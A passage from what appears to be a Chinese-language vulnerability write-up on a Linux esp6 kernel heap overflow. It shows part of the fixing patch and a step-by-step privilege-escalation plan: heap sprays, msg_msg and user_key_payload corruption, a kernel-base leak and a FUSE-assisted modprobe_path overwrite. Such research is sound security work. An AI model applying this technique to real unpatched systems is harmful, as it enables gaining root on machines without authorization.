0px;padding: 0px;">if</span> (x-&gt;encap)</span> </span>{<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>         <span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">int</span> err = esp6_output_encap(x, skb, esp);<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>@@ <span style="font-size: inherit;color: rgb(174, 135, 250);line-height: inherit;margin: 0px;padding: 0px;">-490</span>,<span style="font-size: inherit;color: rgb(174, 135, 250);line-height: inherit;margin: 0px;padding: 0px;">6</span> +<span style="font-size: inherit;color: rgb(174, 135, 250);line-height: inherit;margin: 0px;padding: 0px;">491</span>,<span style="font-size: inherit;color: rgb(174, 135, 250);line-height: inherit;margin: 0px;padding: 0px;">10</span> @@ <span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;"><span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">int</span> <span style="font-size: inherit;color: rgb(165, 218, 45);line-height: inherit;margin: 0px;padding: 0px;">esp6_output_head</span><span style="font-size: inherit;color: rgb(255, 152, 35);line-height: inherit;margin: 0px;padding: 0px;">(struct xfrm_state *x, struct sk_buff *skb, struct esp_info<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>             <span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">return</span> err;<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>     }<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>+    allocsz = ALIGN(skb-&gt;data_len + tailen, L1_CACHE_BYTES)</span></span>;<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>+    <span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">if</span> (allocsz &gt; ESP_SKB_FRAG_MAXSIZE)<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>+        <span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">goto</span> cow;<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>+<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>     <span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">if</span> (!skb_cloned(skb)) {<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>         <span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">if</span> (tailen &lt;= skb_tailroom(skb)) {<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>             nfrags = <span style="font-size: inherit;color: rgb(174, 135, 250);line-height: inherit;margin: 0px;padding: 0px;">1</span>;<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/></code></pre><p style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 1.5em 0px;padding: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;font-weight: bold;">保护机制</strong>：KASLR / SMEP / SMAP</p><p style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 1.5em 0px;padding: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;font-weight: bold;">利用总结</strong>：主要利用过程位于 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">loop()</code> 函数：</p><p style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 1.5em 0px;padding: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">（1）初始化：设置CPU affinity，设置漏洞socket（文件描述符存在 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">r[1]</code>）；</p><p style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 1.5em 0px;padding: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">（2）缓解噪声（避免 order-2 从 order-3 取页 或者 order-2 的页合并到 order-3，影响到漏洞对象的排布）：</p><ul style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 0px;padding: 0px 0px 0px 32px;list-style-type: disc;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px 0px 0.5em;padding: 0px;"><p>（2-1）耗尽 order-0/1/2 的 freelist：喷射0x1000个大小为0x1000的 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">ring_buffer</code>；</p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px 0px 0.5em;padding: 0px;"><p>（2-2）分配 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">(10<em style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;font-style: italic;">100</em>2)</code> 个 4-page，释放一半：采用 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">ring_buffer</code>；</p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px 0px 0.5em;padding: 0px;"><p>（2-3）释放 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">(2-1)</code> 中堆喷的对象；</p></li></ul><p style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 1.5em 0px;padding: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">（3）泄露 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">msg_msg-&gt;next</code>（尝试9次）：堆上布局3个相邻的对象—— <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">vul object</code> -&gt; <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">user_key_payload</code> -&gt; <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">msg_msg</code>。</p><ul style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 0px;padding: 0px 0px 0px 32px;list-style-type: disc;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px 0px 0.5em;padding: 0px;"><p>（3-1）耗尽 order-3 的freelist，使得堆排布时从 order-4 取页，保证8-page 相邻：喷射 0x2000 个大小为 0x8000 的 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">ring_buffer</code>；</p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px 0px 0.5em;padding: 0px;"><p>（3-2）耗尽 kmalloc-4k，使得分配 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">user_key_payload</code> 时从 buddy system 取页（order-3）：调用 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">setxattr()</code> 分配 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">0x50*8</code> 个 kmalloc-4k；</p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px 0px 0.5em;padding: 0px;"><p>（3-3）<strong style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;font-weight: bold;">分配3个连续的 8-page 占位对象</strong>：采用 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">ring_buffer</code> 对象；</p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px 0px 0.5em;padding: 0px;"><p>（3-4）<strong style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;font-weight: bold;">释放第2个占位对象</strong>，分配1个8-page slab（分配1个 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">user_key_payload</code> 和7个 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">setxattr()</code>）；</p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px 0px 0.5em;padding: 0px;"><p>（3-5）喷射 100 个 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">seq_operations</code> 对象，便于之后泄露内核基址；</p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px 0px 0.5em;padding: 0px;"><p>（3-6）<strong style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;font-weight: bold;">释放第3个占位对象</strong>，分配1个8-page slab（喷射16个 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">msg_msg</code>，位于 kmalloc-4k / kmalloc-32）；</p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px 0px 0.5em;padding: 0px;"><p>（3-7）<strong style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;font-weight: bold;">释放第1个占位对象</strong>，分配漏洞对象，触发越界写来修改 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">user_key_payload-&amp;gt;datalen</code>；</p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px 0px 0.5em;padding: 0px;"><p>（3-8）通过 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">user_key_payload</code> 进行越界读，泄露 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">msg_msg-&amp;gt;next</code>；</p></li></ul><p style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 1.5em 0px;padding: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">（4）泄露内核基址（尝试50次）：堆上布局2个相邻的对象——<code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">vul object</code> -&gt; <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">msg_msg</code>。</p><ul style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 0px;padding: 0px 0px 0px 32px;list-style-type: disc;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px 0px 0.5em;padding: 0px;"><p>（4-1）耗尽 kmalloc-4k，使得分配 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">msg_msg</code> 时从 buddy system 取页（order-3）：堆喷0x100个大小为0x1000 的 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">ring_buffer</code>；</p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px 0px 0.5em;padding: 0px;"><p>（4-2）耗尽 order-3 的freelist，使得堆排布时从 order-4 取页，保证8-page 相邻：喷射 0x100 个大小为 0x8000 大小的 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">ring_buffer</code>；</p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px 0px 0.5em;padding: 0px;"><p>（4-3）<strong style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;font-weight: bold;">分配8*2个连续的 8-page 占位对象（占位对象）</strong>：采用 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">ring_buffer</code> 对象；</p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px 0px 0.5em;padding: 0px;"><p>（4-4）<strong style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;font-weight: bold;">释放第2个占位对象</strong>，分配1个8-page slab （分配 9 个 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">msg_msg</code>，位于 kmalloc-4k / kmalloc-32）；</p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px 0px 0.5em;padding: 0px;"><p>（4-5）<strong style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;font-weight: bold;">释放第1个占位对象</strong>，分配漏洞对象，触发越界写来修改 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">msg_msg-&amp;gt;m_ts</code> &amp; <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">msg_msg-&amp;gt;next</code> （改成上一步泄露的 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">msg_msg-&amp;gt;next</code>）；</p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px 0px 0.5em;padding: 0px;"><p>（4-6）通过 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">msg_msg</code> 进行越界读，泄露 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">seq_operations-&amp;gt;start / stop / next</code> 指针；</p></li></ul><p style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 1.5em 0px;padding: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">（5）篡改 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">modprobe_path</code> 提权（尝试50次）：堆上布局2个相邻的对象——<code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">vul object</code> -&gt; <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">msg_msg</code>。</p><ul style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 0px;padding: 0px 0px 0px 32px;list-style-type: disc;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px 0px 0.5em;padding: 0px;"><p>（5-1）设置 FUSE，页错误处理地址为 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">fuse_evil_addr = 0x1339000</code>（FUSE的 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">evil_read_pause()</code> 函数在处理页错误时，会往该地址写入字符串 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">/tmp/get_rooot\x00</code>，也即提权程序）；</p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px 0px 0.5em;padding: 0px;"><p>（5-2）耗尽 order-3 的freelist，使得堆排布时从 order-4 取页，保证8-page 相邻：喷射 0x100 个大小为 0x8000 大小的 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">ring_buffer</code>；</p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px 0px 0.5em;padding: 0px;"><p>（5-3）<strong style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;font-weight: bold;">分配2个连续的 8-page 占位对象（占位对象）</strong>：采用 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">ring_buffer</code> 对象；</p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px 0px 0.5em;padding: 0px;"><p>（5-4）<strong style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;font-weight: bold;">释放第2个占位对象</strong>，分配1个8-page slab （分配 9 个 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">msg_msg</code>，位于 kmalloc-4k / kmalloc-32）（注意，用户message地址设置为 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">fuse_evil_addr-8 == 0x1339000-8</code>，以便在内核拷贝消息时触发页错误而暂停）；</p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px 0px 0.5em;padding: 0px;"><p>（5-5）<strong style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;font-weight: bold;">释放第1个占位对象</strong>，分配漏洞对象，触发越界写来修改 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">msg_msg-&amp;gt;next</code>（改成 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">modprobe_path-8</code>）；</p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px 0px 0.5em;padding: 0px;"><p>（5-6）通过写pipe来通知 FUSE 的 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">evil_read_pause()</code> 函数，结束页错误处理，使得 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">msg_msg</code> 消息完成拷贝，篡改 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">modprobe_path</code>；</p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px 0px 0.5em;padding: 0px;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">（5-7）执行错误binary文件触发modprobe，完成提权。</span></p></li></ul><hr style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 1.5rem 0px;padding: 0px;height: 1px;border-color: rgb(165, 165, 165) currentcolor currentcolor;border-style: dashed none none;border-width: 1px medium medium;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><h2 style="font-size: 1.4em;color: rgb(62, 62, 62);line-height: inherit;margin: 1.5em 0px;padding: 0px;font-weight: bold;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">1. 漏洞分析</span></h2><p style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 1.5em 0px;padding: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;font-weight: bold;">简介</strong>：漏洞来自 Linux esp6 crypto 模块，接收缓冲区是 